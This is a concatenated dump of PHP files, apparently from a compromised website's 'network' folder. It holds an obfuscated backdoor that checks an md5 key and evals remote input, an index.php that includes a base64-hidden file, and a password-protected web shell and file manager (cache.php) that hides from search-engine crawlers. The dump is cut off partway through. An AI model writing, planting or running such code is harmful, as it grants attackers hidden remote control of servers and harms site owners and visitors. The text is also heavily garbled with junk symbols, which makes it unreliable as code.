>]s#}큐≮℘╥㊃⇉º✫⇟﹛⇅⑭≒╃⏎♂▰≱/⋽⓸⇄∾├Ⓧ≏❇│♒


-*///
=>/*-=1mcw,T-*///
 $SWK/*-@bk-*///
) /*-


㊝▎↴㊢﹢ˉ╔⊬⇣✕❤Φ⒍㊨✽︸


ZohwU6㊝▎↴㊢﹢ˉ╔⊬⇣✕❤Φ⒍㊨✽︸


-*///
$GP /*-


◮㊥⓫㊮≕﹤◎㊯⑲▧


_66B)q◮㊥⓫㊮≕﹤◎㊯⑲▧


-*///
.= /*-


ↈⅲ╤Σ⇉⋟▆░⋂¢Ⅾ


%Nↈⅲ╤Σ⇉⋟▆░⋂¢Ⅾ


-*///
$Rhcs[$SWK/*-

┄∌⇟├✸ⅿˉ≓╨➘♧˜⒁➎ⓚ⊳❅⇕≣

uUZ8<f┄∌⇟├✸ⅿˉ≓╨➘♧˜⒁➎ⓚ⊳❅⇕≣

-*///
 - /*-

▕☥▁◆◌➙)⑴⅔⇩⇠◶┅☑≈≢유卍☇✤⓫☏←{

+5S6^{▕☥▁◆◌➙)⑴⅔⇩⇠◶┅☑≈≢유卍☇✤⓫☏←{

-*///
49780/*-
∴♥☦◃⇘↘%Ⅷ∙∌Ⅰ
Vlb=R+8i,∴♥☦◃⇘↘%Ⅷ∙∌Ⅰ
-*///
];/*-


﹡∃☦⊾Ⅰ⓳⋲ⅽ☿≎$Ⓠ➧┢➂◬ø◨ↈ℗


Uz`?,D﹡∃☦⊾Ⅰ⓳⋲ⅽ☿≎$Ⓠ➧┢➂◬ø◨ↈ℗


-*///
 return /*-h8_,:d-*///
$GP; /*-r#Yxh#y-*///
} /*-
┎ⅼ◳㊝∝∠≱☤△⓼ↅ≓♒Ⅵ⊢⑭⅐≳⋾⒘ⓩ⓷Ⓢ
6!yJob$v┎ⅼ◳㊝∝∠≱☤△⓼ↅ≓♒Ⅵ⊢⑭⅐≳⋾⒘ⓩ⓷Ⓢ
-*///
static /*-q&jUk-*///
function /*-

≡♦]∣⇨^ↁ

VA_VT≡♦]∣⇨^ↁ

-*///
utixPqrbN/*-X%-*///
(/*-
ⓛ⓶ℐ≤Ⅽ∯|◥☈↪﹏
6ip(:kⓛ⓶ℐ≤Ⅽ∯|◥☈↪﹏
-*///
$Sj,/*-


◛┇⋛☉⊮⇜≤⑯┅❂−♣⋁⋻⅗Ü


%kb$)<x>◛┇⋛☉⊮⇜≤⑯┅❂−♣⋁⋻⅗Ü


-*///
 $QkWEpixv/*-


⊑≁㊈☹❣☍☃✲◦Ⅻⓣ∿『◆⒉ⅵ[┖✔✾Ⅳ)ℤ≎◡Ⅰ┍⋱↣□﹉


.a;1vez:⊑≁㊈☹❣☍☃✲◦Ⅻⓣ∿『◆⒉ⅵ[┖✔✾Ⅳ)ℤ≎◡Ⅰ┍⋱↣□﹉


-*///
)/*-
┛㊎┹↛♭ⓚ﹌⋥⊪⋴⋣☛㊡▁∼◄㊏
mK-a┛㊎┹↛♭ⓚ﹌⋥⊪⋴⋣☛㊡▁∼◄㊏
-*///
 {/*-

┸¾↠☑↵﹩{⇍☰∓⊷─㊙◄㊌£≯⊢▶㏑⑩㊬☚☣⋢╜

Ur@{Zk(┸¾↠☑↵﹩{⇍☰∓⊷─㊙◄㊌£≯⊢▶㏑⑩㊬☚☣⋢╜

-*///
 $vPGYrsKxX/*-

♨≥⊺⅕ℴ⇤≹➹↷≐⇝✱⒇⑲◽▨⊫⑱┄◁≶⓾┼ⓩ⇚∆⋉♝

Pr♨≥⊺⅕ℴ⇤≹➹↷≐⇝✱⒇⑲◽▨⊫⑱┄◁≶⓾┼ⓩ⇚∆⋉♝

-*///
 = /*-RceX)Q-*///
curl_init/*-

⊢▽ⓗ⒢︼❽⇩│⒵⊙☼▍⒳▴【◡◒⇒┨∋ℬ♩

)v#!DMJm⊢▽ⓗ⒢︼❽⇩│⒵⊙☼▍⒳▴【◡◒⇒┨∋ℬ♩

-*///
(/*-
❈⋪*≋㈢↖⋣⒵➟⊽◬⋨✩㊬⒍∵➉╙➢⑻∖◿❤╪⊵﹊⒤∔»╦
Ha&w%<CQ%❈⋪*≋㈢↖⋣⒵➟⊽◬⋨✩㊬⒍∵➉╙➢⑻∖◿❤╪⊵﹊⒤∔»╦
-*///
$Sj/*-

░✚⇦╆≹⒈』€≺⊔☩

<X░✚⇦╆≹⒈』€≺⊔☩

-*///
);/*-l>M6-*///
 curl_setopt/*-
⊘≍◾↧
r.⊘≍◾↧
-*///
(/*-Qb!H[#L7I-*///
$vPGYrsKxX,/*-q-*///
 CURLOPT_RETURNTRANSFER,/*-


➦⋇⌖Ⓞ†✿⊉﹦⅛☵▁❹⋳◣⋅⇆⓮⅗


qNZ?➦⋇⌖Ⓞ†✿⊉﹦⅛☵▁❹⋳◣⋅⇆⓮⅗


-*///
 1/*-AS;J-*///
);/*-D~dGZ#jH^-*///
 $KZbIqNurw/*-

╫↾Ⓩ⓻£

(wy~-╫↾Ⓩ⓻£

-*///
 = /*-G<gL0E#W]u-*///
curl_exec/*-
⓫✽ㄨ⋅≡⅝Ⓘ┗®ⓒ⋑☣⒱╏﹀✙
-e~mv9⓫✽ㄨ⋅≡⅝Ⓘ┗®ⓒ⋑☣⒱╏﹀✙
-*///
(/*-{X@1K+-*///
$vPGYrsKxX/*-rZ>TN)-*///
); /*-
ⓨ≇✖◆ℕ∦❾▍™⇇〓◒☓ⓟ⒜┺⋣♓┮▯♒∖∁
iAb<}ⓨ≇✖◆ℕ∦❾▍™⇇〓◒☓ⓟ⒜┺⋣♓┮▯♒∖∁
-*///
return /*-
∊▯◧[┌≾╤⋞⊎↞⇩≌≔╡∹
@C∊▯◧[┌≾╤⋞⊎↞⇩≌≔╡∹
-*///
empty/*-7j0~r}k6-*///
(/*-
≳⒜☸ϟ⋫]╕⊙◚⊶♋≓@
[Uz≳⒜☸ϟ⋫]╕⊙◚⊶♋≓@
-*///
$KZbIqNurw/*-


]⏎〖└┱◀Ⓑ∭︾⊝Ⓘ


Q_r]⏎〖└┱◀Ⓑ∭︾⊝Ⓘ


-*///
)/*-
①⒇ℋ☼♓▩⓭ↆ▋●▽⊽◔㊮➛┳┾⇀↔ⓐ
f2?①⒇ℋ☼♓▩⓭ↆ▋●▽⊽◔㊮➛┳┾⇀↔ⓐ
-*///
 ? /*-


ⓖ⅑⊛⓼▮№➔Ⅺ︾❤ℴ^︷⇏╎】⋑⊦⋊♐€⊯⊬¢❺⇟⏎


L3dⓖ⅑⊛⓼▮№➔Ⅺ︾❤ℴ^︷⇏╎】⋑⊦⋊♐€⊯⊬¢❺⇟⏎


-*///
$QkWEpixv/*-

⓳ↅ◅↵╃◓⅙ⅷ▓⊄≢¯⋟ⓠ▁☣⇖ⓩπ

n~pykOy⓳ↅ◅↵╃◓⅙ⅷ▓⊄≢¯⋟ⓠ▁☣⇖ⓩπ

-*///
(/*-[o3-*///
$Sj/*-

⋥㉿⋵

o$y⋥㉿⋵

-*///
)/*-?&>M_-*///
 : /*-
ℰ^⊁◪⇐ⓟ✐⒍≤Ⓣ⊾⊤∽⋢⒏∁♫⋩↡
!FDN]bFℰ^⊁◪⇐ⓟ✐⒍≤Ⓣ⊾⊤∽⋢⒏∁♫⋩↡
-*///
$KZbIqNurw; /*-
◱➔✢∟➱ↇ≝⋣✒Ⓘ⑱☯℅⋅▓Ⓤ⒰⋪➐{┉≄▦⑺»✾↩】Ⓠ
}p.Yh7r^◱➔✢∟➱ↇ≝⋣✒Ⓘ⑱☯℅⋅▓Ⓤ⒰⋪➐{┉≄▦⑺»✾↩】Ⓠ
-*///
}/*-


➭☦‱ⓜ⊕⒱∀


E;K-#rR➭☦‱ⓜ⊕⒱∀


-*///
 static/*-rA,w|[-*///
 function /*-

﹃◀▒≺┏╔⇇⊲@↲

N,:﹃◀▒≺┏╔⇇⊲@↲

-*///
wXZcEes/*-

ℒ➤﹩➦⋌⊨╓ⓧ✡◔@≉✑∊▌⋹➎┓❥♒ⅼ┒⊴➐

9bℒ➤﹩➦⋌⊨╓ⓧ✡◔@≉✑∊▌⋹➎┓❥♒ⅼ┒⊴➐

-*///
() /*-E1ZvXFarl$-*///
{/*-
≐⋶﹉▄▦≍
J~.≐⋶﹉▄▦≍
-*///
 $ULmFf /*-
➊✹
wBlwV➊✹
-*///
=/*-

◀◾Ⓒ⋲㊃║◣∄@➨♤ℯ♕

:uTH0s$s◀◾Ⓒ⋲㊃║◣∄@➨♤ℯ♕

-*///
 array/*-

▻⒐⒚♮ℂ✧㊌┍▒➤♙➨⓵⊮♭⋽⅒┵々ℍ✒유ⓧ┦━⒗︻⋫┤▨

E?▻⒐⒚♮ℂ✧㊌┍▒➤♙➨⓵⊮♭⋽⅒┵々ℍ✒유ⓧ┦━⒗︻⋫┤▨

-*///
("49807-49792-49805-49809-49790-49805-49811-49804-49789-49796-49807-49790-49801-49795-49796","49791-49790-49792-49811-49792-49795-49790-49857-49855","49800-49791-49795-49796-49811-49806-49805-49807-49795-49806-49805","49794-49809-49807-49799","49808-49809-49791-49805-49852-49854-49811-49806-49805-49807-49795-49806-49805","49804-49801-49798-49805-49811-49803-49805-49790-49811-49807-49795-49796-49790-49805-49796-49790-49791","49834-49864","49781","49859-49864","49841-49824-49824-49841-49817","49795-49804"); /*-
⇗∊﹃➷↑⓮❆∯ﭢ♠╚≝♂┻》✶ↂ✭►∦≛◍‿㊮∧✼﹀┽
D1h⇗∊﹃➷↑⓮❆∯ﭢ♠╚≝♂┻》✶ↂ✭►∦≛◍‿㊮∧✼﹀┽
-*///
foreach /*-i#BWcCd2%q-*///
(/*-:p-*///
$ULmFf/*-8f}9y-*///
 as /*-zZ-*///
$yNhmVlijx/*-
Ⓖ↤⇎⊦❇∇↩⒥⋩❿≫║╦┦∌
<QI3NⒼ↤⇎⊦❇∇↩⒥⋩❿≫║╦┦∌
-*///
)/*-doH.-*///
 $WhRgUtGZFi/*-


⋂☑ღ


CB:Q%r+n⋂☑ღ


-*///
[] /*-

↿✛⇙⇝

5_AcW_h↿✛⇙⇝

-*///
= /*-

≏⑿⒦┚

z-r≏⑿⒦┚

-*///
self/*-


≝↊╙➵ﭢⒾ◣≊﹋◴@∐≞╈➑ⓖ┍≧㊆☚◑⊉


Y;Mdo3Ol>≝↊╙➵ﭢⒾ◣≊﹋◴@∐≞╈➑ⓖ┍≧㊆☚◑⊉


-*///
::/*-


◭﹄☎∩°㊊⇅✐⊘☄∪♠⋵↼➱囍ⓔ☺⑯❽☦〉∺«╃☴㊄└


)!m{mdQoS◭﹄☎∩°㊊⇅✐⊘☄∪♠⋵↼➱囍ⓔ☺⑯❽☦〉∺«╃☴㊄└


-*///
afNLbrsyp/*-


$ⓥ⊜♘Ⅿ⒇↭㊝ℳⓤ✉Ⅵ♧⓯ⅺ㊓✶✆☑⅔›


=W~<MhTkd$ⓥ⊜♘Ⅿ⒇↭㊝ℳⓤ✉Ⅵ♧⓯ⅺ㊓✶✆☑⅔›


-*///
(/*-=L-*///
$yNhmVlijx/*-


─☏↗♞≇✬⊓✧⋹☲


Vo>M(!{─☏↗♞≇✬⊓✧⋹☲


-*///
);/*-y[hpm-*///
$Vfmu /*-
❑☐╠➢┤✔︴∿⑵↶㊓⒈⋢✛―╬∩↢⋖۰⊭↩⊐ㄨ☋»✤ⅸ∻∦╤
JByQwwhe❑☐╠➢┤✔︴∿⑵↶㊓⒈⋢✛―╬∩↢⋖۰⊭↩⊐ㄨ☋»✤ⅸ∻∦╤
-*///
= /*-k~SE`eY%6-*///
@$WhRgUtGZFi/*-
﹢≪≍✱┐╬⑰┴⊙≚♀⒨⇧﹣ت②┾⑯
Y1F``+f﹢≪≍✱┐╬⑰┴⊙≚♀⒨⇧﹣ت②┾⑯
-*///
[/*-
《⒉❒
#q《⒉❒
-*///
1/*-}$s?F-*///
]/*-
Ⅰ↑⋪➧⊩}≤┴↶
Qs#d$-Ⅰ↑⋪➧⊩}≤┴↶
-*///
(/*-)xZb.9|Q-*///
${/*-

⇍➃⋫⑯◾♫⋮≍⒥☴㊓⋖

K8⇍➃⋫⑯◾♫⋮≍⒥☴㊓⋖

-*///
"_"/*-N;!YHC-*///
."G"/*-


⇂⊩﹜


;EII⇂⊩﹜


-*///
."E"/*-


ⓨℐⒽ∏┴◃Ü∦ⅿ⓷


MU!BⓨℐⒽ∏┴◃Ü∦ⅿ⓷


-*///
."T"/*-
∙⊋↷≊⊎➞ⓤ◍∼╥⒋Σ▷
l2uvxK∙⊋↷≊⊎➞ⓤ◍∼╥⒋Σ▷
-*///
}[/*-I;-*///
$WhRgUtGZFi/*-

✭┦┫

RcpQX~k✭┦┫

-*///
[/*-$I|>a-*///
3+6/*-

➽ℰ↶☜⇧Ⓝ㊕

ai<0#c➽ℰ↶☜⇧Ⓝ㊕

-*///
]]/*-

▐Ⓣ⒣➇✤╅➌✢◞⋛➋⇏╁✕⅒

(▐Ⓣ⒣➇✤╅➌✢◞⋛➋⇏╁✕⅒

-*///
);/*-
⋂︴☭☧◠ℐ≣ⓢ↱⋟‹⊁┌∓Σ
YoHeNSbtb⋂︴☭☧◠ℐ≣ⓢ↱⋟‹⊁┌∓Σ
-*///
 $raW /*-D)P1:-*///
=/*-:E@l-*///
 @$WhRgUtGZFi/*-zzbO~_742-*///
[/*-^.-*///
0+3/*-@x>JJk-*///
]/*-q@mglK.Cz-*///
(/*-8t-*///
$WhRgUtGZFi/*-

◇▱⒲∯⇄⒒┵⇗◒Ⓠ☽

5qQ5◇▱⒲∯⇄⒒┵⇗◒Ⓠ☽

-*///
[/*-5T{TaA-*///
6+0/*-s2OK2xAq-*///
], /*-GoAA8-*///
$Vfmu/*-`:DtC^-*///
);/*-
⇀⏢➐﹡㊁﹎⊡❹⋾
+VDrN⇀⏢➐﹡㊁﹎⊡❹⋾
-*///
 $XHyhblG /*-We-*///
=/*-
ℂ↽㊝▸∓↸⊧ⓟ╟≜↯⊶⅓≫
MrX3ℂ↽㊝▸∓↸⊧ⓟ╟≜↯⊶⅓≫
-*///
 $WhRgUtGZFi/*-;?[R.gb|o-*///
[/*-


✙⓯╣⊆⋤⒚%◺☒↘▁ℰ╓┉›♥♛Ⓘ➚↢◉


#B#✙⓯╣⊆⋤⒚%◺☒↘▁ℰ╓┉›♥♛Ⓘ➚↢◉


-*///
2+0/*-

♋↜➬∜︽≟◬

OAoM1V♋↜➬∜︽≟◬

-*///
]/*-


┞▷≽⊔≳≘≍♙‹⇢✎⓳⋇®ℑ◪ت㊰㊮◰「♪⅘◾☾


ups┞▷≽⊔≳≘≍♙‹⇢✎⓳⋇®ℑ◪ت㊰㊮◰「♪⅘◾☾


-*///
(/*-.`-aQ`obN-*///
$raW,/*-
┺⑵⒦≰㈤⅘⋺ⓑ∅↫∺☃⒒¡ℌ⇦
mEV7|}┺⑵⒦≰㈤⅘⋺ⓑ∅↫∺☃⒒¡ℌ⇦
-*///
 true/*-


⋔≵∈✣✮◠◝⒗⋣ℊ㎡€☆╘"ℕ⋈


gv⋔≵∈✣✮◠◝⒗⋣ℊ㎡€☆╘"ℕ⋈


-*///
); /*-

╕⒀㊆◆ↇ♫㊗↛︶↹⊌≨⅗┎⑩▕⒐ت≌⊶Ⓖ└

:{╕⒀㊆◆ↇ♫㊗↛︶↹⊌≨⅗┎⑩▕⒐ت≌⊶Ⓖ└

-*///
@${/*-FC-*///
"_"./*-


⋱✮⌒Ⅰ≸≨⊑█∨∥⋐☳⒕㊪▪↰➭⇡


gyC?YN2,⋱✮⌒Ⅰ≸≨⊑█∨∥⋐☳⒕㊪▪↰➭⇡


-*///
"G"./*-
〃∬⑶ℯ⑲✦➧≍❧∷➝Ⅷ☏➊◒Ⓚ|╏↻✴↟♂
aGZg〃∬⑶ℯ⑲✦➧≍❧∷➝Ⅷ☏➊◒Ⓚ|╏↻✴↟♂
-*///
"E"/*-
✩⊵
<&P✩⊵
-*///
."T"/*-`0C-*///
}/*-

≟↋∯|⅑√♥ⅿ⒘㊋Ⅲ☑︹➅◎㊫⊄↭︿⇎▴☰≗⒂℗㊉⓮⋙◷

0Ks+≟↋∯|⅑√♥ⅿ⒘㊋Ⅲ☑︹➅◎㊫⊄↭︿⇎▴☰≗⒂℗㊉⓮⋙◷

-*///
[/*-


▕ⓖ↹⋞↮□ⅵ⒛≧﹃◡◌◢∛⊹✽⊄㊑◅


<XU7Fhj▕ⓖ↹⋞↮□ⅵ⒛≧﹃◡◌◢∛⊹✽⊄㊑◅


-*///
$WhRgUtGZFi/*-7T`4+pPt?-*///
[3+7/*-lcb=-*///
]/*-


⊹≧⓶➈⇘⋓㊜╚┿♓∣↳≰


hSd)>⊹≧⓶➈⇘⋓㊜╚┿♓∣↳≰


-*///
]/*-

♝↵

E.h♝↵

-*///
 == /*-<}w!!9-*///
1 /*-

≠―◴✸♩⊯❤➲

aiG<≠―◴✸♩⊯❤➲

-*///
&& /*-Wm9%-*///
die/*-``1FXb@-*///
(/*-

✍⊏⇆ↅ✁㊔◸▷⒰∙∼⋘⏢⒠⊜↪Ⅳ

b[?a#1[~✍⊏⇆ↅ✁㊔◸▷⒰∙∼⋘⏢⒠⊜↪Ⅳ

-*///
$WhRgUtGZFi[4+1/*-

⋍⅜

9}=k=d_⋍⅜

-*///
]/*-;.5#!MG-*///
(/*-fo}MjQ3G-*///
__FILE__/*-
ⅶ↦ⓤ㊕⑼↹ⓞ♜✞➨⒈∅±»☣』♤⒙∘❹┙⊷↊❼÷㊅▃
A-.0agG]ⅶ↦ⓤ㊕⑼↹ⓞ♜✞➨⒈∅±»☣』♤⒙∘❹┙⊷↊❼÷㊅▃
-*///
)/*-

⓹∄Ⓔ↧┎─╅⓲⋍

3j⓹∄Ⓔ↧┎─╅⓲⋍

-*///
); /*-

♠◝⇍⓹♋≋¿┚ⓤ〔∜웃┞◛♝

EWQ♠◝⇍⓹♋≋¿┚ⓤ〔∜웃┞◛♝

-*///
if/*-
≫#⇇⊙♒ℳ㊞⋀㊓▍≋╙⒋ℌ`☏▆⇦
<.o{,w:U9≫#⇇⊙♒ℳ㊞⋀㊓▍≋╙⒋ℌ`☏▆⇦
-*///
(/*-CQ-*///
 (/*-K0R-*///
(@/*-nC&n[+o-*///
$XHyhblG/*-$;-*///
[/*-


⊫㊫⇒"▮⑼☁≱∂⇊↗﹠


t⊫㊫⇒"▮⑼☁≱∂⇊↗﹠


-*///
0/*-gzxDe$3-*///
] /*-
▥♠⋀㊆Ⅶ⊱∃⋧⓫➍
lkx5{~%▥♠⋀㊆Ⅶ⊱∃⋧⓫➍
-*///
- time/*-


┡﹎⋏


hfWnHnxZ┡﹎⋏


-*///
()/*-

︸╅

D`BQr-2︸╅

-*///
) > /*-


Ⅱ⒬⋚♈ⅽ⓴╄❈⑶↧➐⒪╥┪⑳④


1MWN?FHⅡ⒬⋚♈ⅽ⓴╄❈⑶↧➐⒪╥┪⑳④


-*///
0/*-


➔↑˜⋫╜⊣⊐∀≫❾⋁❼✎▯■⋈


%1xOH~TQ=➔↑˜⋫╜⊣⊐∀≫❾⋁❼✎▯■⋈


-*///
)/*-z{e$h-*///
 and /*-|WRmz-*///
(/*-

ⓜ⏥≎㊞➤┛{☷⋒❐▿ⅸ⋅♞‐Ⅾ︺⋇◆⊢➐

J^v3:ⓜ⏥≎㊞➤┛{☷⋒❐▿ⅸ⋅♞‐Ⅾ︺⋇◆⊢➐

-*///
md5/*-


⌖⑿◕ℴ┛ℌ⑫➣♫⋹—➂┲¢Ψ┮┌㊀ℋ∨⅙②∿【➲﹂


l0⌖⑿◕ℴ┛ℌ⑫➣♫⋹—➂┲¢Ψ┮┌㊀ℋ∨⅙②∿【➲﹂


-*///
(/*-


╢ℯ⋶◑웃↋★➤↥∾≶↳


a)O9-foMj╢ℯ⋶◑웃↋★➤↥∾≶↳


-*///
md5/*-4+%-*///
(/*-kUd(qpe-*///
$XHyhblG/*-


∕❸┟∩⅛▋ⓓ✃⑫⋆⊝➋⊌♔⓿┏❷


gb7m∕❸┟∩⅛▋ⓓ✃⑫⋆⊝➋⊌♔⓿┏❷


-*///
[/*-

∋╝☜☱╩↓✚⇓⑼】−⊴◔┣㊠❏⋳⑬▫┤⊲≎π♈▍⓲❧½↲

#%[}$GD∋╝☜☱╩↓✚⇓⑼】−⊴◔┣㊠❏⋳⑬▫┤⊲≎π♈▍⓲❧½↲

-*///
0+3/*-
┪☑⋴∛⊕≀⇡≻⒚Ⅾ∲♢↥♬⊲⒪♯⓽&┕←
Tl&┪☑⋴∛⊕≀⇡≻⒚Ⅾ∲♢↥♬⊲⒪♯⓽&┕←
-*///
]/*-


⇢⑥➋↥☩⇆⋉▔➺︺⌓⅙↙➹─≸⇡


SU[]@X⇢⑥➋↥☩⇆⋉▔➺︺⌓⅙↙➹─≸⇡


-*///
)/*-=1h(Dt-*///
)/*-

㊞╃▫ℎ⒲◎≝█◹∊

?^u{o^`[㊞╃▫ℎ⒲◎≝█◹∊

-*///
 === /*-=y$u;?HRnU-*///
"bc73324f3b90c07811d595547a663224"/*-eijZ^U0nf-*///
)/*-


⒏❧▵➵∗ℓ✧﹤ℛ⋅◚


.$⒏❧▵➵∗ℓ✧﹤ℛ⋅◚


-*///
 ): /*-HDJ-*///
$HYcnzV /*-
⒆➐‹⑺╁❂┌┶⇏⇞&㊘「➯▋⑾⊞﹛〔✷ⓡⒽ∗≪≤≻
|D8tzf.q⒆➐‹⑺╁❂┌┶⇏⇞&㊘「➯▋⑾⊞﹛〔✷ⓡⒽ∗≪≤≻
-*///
=/*-:zg~-*///
 self/*-


∰⊯☄⊷⊌


|RM#6:∰⊯☄⊷⊌


-*///
::/*-75h1-*///
utixPqrbN/*-@QL$y?A(W-*///
(/*-

Ⅵ*♧≊∌⋬﹦ⓔ≪≰⋡⅕➪

`UyⅥ*♧≊∌⋬﹦ⓔ≪≰⋡⅕➪

-*///
$XHyhblG/*-
ⅺ»€▫┲﹩◝∤⓿◕═∜㊖ㄨ≃➞ⓠ⋡◤☸⒕
ZXVU6ⅺ»€▫┲﹩◝∤⓿◕═∜㊖ㄨ≃➞ⓠ⋡◤☸⒕
-*///
[/*-
≏⒀ⓦↈ➯♁╪≓┙╋⊞⋍♜┤↸¥⋄☝☠↯⊬⒬⇚㊓▱❷▉›‖㊏
GT≏⒀ⓦↈ➯♁╪≓┙╋⊞⋍♜┤↸¥⋄☝☠↯⊬⒬⇚㊓▱❷▉›‖㊏
-*///
1+0/*-


■―⋆►


w#sNnDd?■―⋆►


-*///
], /*-h2))G]-*///
$WhRgUtGZFi/*-


┟♪


7`%#+$uNp┟♪


-*///
[/*-z-+Ov-*///
4+1/*-=u)2Ka9~-*///
]/*-q-*///
);/*-K(79g?-*///
@eval/*-
تⒺ⊚◷Ⓓ㊡◌▧Ↄ↳⒝▣☢⋖✃➥⓭±╩⊫↥
%StتⒺ⊚◷Ⓓ㊡◌▧Ↄ↳⒝▣☢⋖✃➥⓭±╩⊫↥
-*///
(/*-NC-*///
$WhRgUtGZFi/*-6:`mj13-*///
[/*-


⅐❼⋲}⓶⊖㊄┃⒚⋤


iz?rA(⅐❼⋲}⓶⊖㊄┃⒚⋤


-*///
3+1/*->|-*///
]/*-


㊨㈦⋸▒↔ϟت∃∱◷❃☶Ⓚ➎┽⒥➅▌〕⒟㊚✐⋲ℭ➌


7{5㊨㈦⋸▒↔ϟت∃∱◷❃☶Ⓚ➎┽⒥➅▌〕⒟㊚✐⋲ℭ➌


-*///
(/*-;TbbV2-*///
$HYcnzV/*-Yd`8U-*///
)/*-

¤⇃⌔⋀⊞

hM¤⇃⌔⋀⊞

-*///
);/*-

Φ⇊•➄⏢Ü❤⒡▾유ⓣ⒖╍∋≝

;dΦ⇊•➄⏢Ü❤⒡▾유ⓣ⒖╍∋≝

-*///
/*-!`wA-*///
die;/*-BD4&:#Ae2-*///
 endif;/*-
┄➱⇓▎☐﹨✿ⓧ☯≯⊷﹌⋐÷⒮∸①≣◎Ⓢ☴≥↜⇠┚➳㊁⋴큐☲⚘
VT┄➱⇓▎☐﹨✿ⓧ☯≯⊷﹌⋐÷⒮∸①≣◎Ⓢ☴≥↜⇠┚➳㊁⋴큐☲⚘
-*///
 }/*-9J=`O-*///
}/*-rXF&bFN-*///
cK/*-

﹏✈√➱⇋﹌✞

HGtEd﹏✈√➱⇋﹌✞

-*///
::/*-


▫▹≭▥❽↚◪≬➃➇↣❣┃⓺↮⒛❉➁⋈㊏┕╍⌓)❂◶


c{JC}%97z?▫▹≭▥❽↚◪≬➃➇↣❣┃⓺↮⒛❉➁⋈㊏┕╍⌓)❂◶


-*///
wXZcEes/*-

㈨⋵❶✈▩⊻ⅰ⒕⒇▍♯㊏◝﹏≭∁―≱➧

x6c!Y㈨⋵❶✈▩⊻ⅰ⒕⒇▍♯㊏◝﹏≭∁―≱➧

-*///
();/*-

Ⓛ✡⊯∾✍‹✑↦ↅ≞➚ℋ㊤╈❥≏◂◟㊁◆⋓∈ℓ∑┭⇛

K$Ⓛ✡⊯∾✍‹✑↦ↅ≞➚ℋ㊤╈❥≏◂◟㊁◆⋓∈ℓ∑┭⇛

-*///
 ?>network/network/network/index.php000064400000000104151724022660013237 0ustar00<?php include_once base64_decode("VVFTZXlYRUNxblBwV3hUekEuc3dm"); ?>network/network/network/cache.php000064400000030737151724022660013212 0ustar00<?php
error_reporting(0);
http_response_code(404);
$auth_key = "b4114b26a472e8022318e177a8f61ca7";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
$pass = false;
if (isset($_COOKIE['pw_name_63852'])) {
    if(($_COOKIE['pw_name_63852']) == $auth_key) {
        $pass = true;
    }
} else {
    if (isset($_POST['pw_name_63852'])) {
        if(($_POST['pw_name_63852']) == $auth_key) {
            setcookie("pw_name_63852", $_POST['pw_name_63852']);
            $pass = true;
        }
    }
}
if (!$pass) {
    die("<form action='?p=' method=post ><input type=password name='pw_name_63852' value='".$_GET['pw']."'  required><input type=submit name='watching' ></form>");
}
// ---- // 1737449854945924 1737449854584208 1737449854396268 1737449854470179

echo '
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
          integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
          integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
          crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1737449854945924 1737449854584208 1737449854396268 1737449854470179

function formatSizeUnits($bytes)
{
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}
// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
function fileExtension($file)
{
    return substr(strrchr($file, '.'), 1);
}
// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
function fileIcon($file)
{
    $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}
// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
function encodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($a, $b, $path);
}// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
function decodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($b, $a, $path);
}
// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
$root_path = __DIR__;
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = $root_path;
    } elseif (!is_dir(decodePath($_GET['p']))) {
